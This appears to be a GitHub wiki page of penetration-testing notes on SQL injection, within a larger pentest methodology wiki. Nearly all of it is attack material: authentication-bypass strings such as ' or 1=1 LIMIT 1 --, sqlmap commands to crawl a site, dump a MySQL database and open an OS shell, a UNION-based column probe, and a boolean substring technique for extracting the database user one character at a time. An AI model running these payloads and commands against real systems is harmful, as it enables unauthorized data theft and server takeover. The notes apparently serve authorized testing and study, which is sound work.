Skip to content

SQL Injection General Notes

TheGetch edited this page May 14, 2021 · 1 revision

SQL Injection General Notes

SQL Injection General Notes

Testing for Bypasses:

' or 1=1 LIMIT 1 --
' or 1=1 LIMIT 1 -- -
' or 1=1 LIMIT 1#
'or 1#
' or 1=1 --
' or 1=1 -- -

SQLMAP

sqlmap crawl

sqlmap -u http://172.21.0.0 --crawl=1

sqlmap dump database

sqlmap -u http://172.21.0.0 --dbms=mysql --dump

sqlmap shell

sqlmap -u http://172.21.0.0 --dbms=mysql --os-shell

SQLi

Testing for a row:

http://target-ip/inj.php?id=1 union all select 1,2,3,4,5,6,7,8

Boolean Based SQLi

substring() returns a substring of the given argument. It takes three parameters: the input string, the position of the substring and its length.

  • or substr(user(), 1, 1) = 'a -> if true, move onto then letter:
  • or substr(user(), 2, 1) = 'b

Continue until username is revealed.

_Sidebar

1. Recon

Ping Sweep

CIDR to IP

2. Enumeration

Services

05. HTTP (80,443,8080,8443,etc.)

3. Exploitation

4. Post Exploiation

5. High Value Information

Hashes

6. Reporting

7. Random Notes/Useful Tidbits

Clone this wiki locally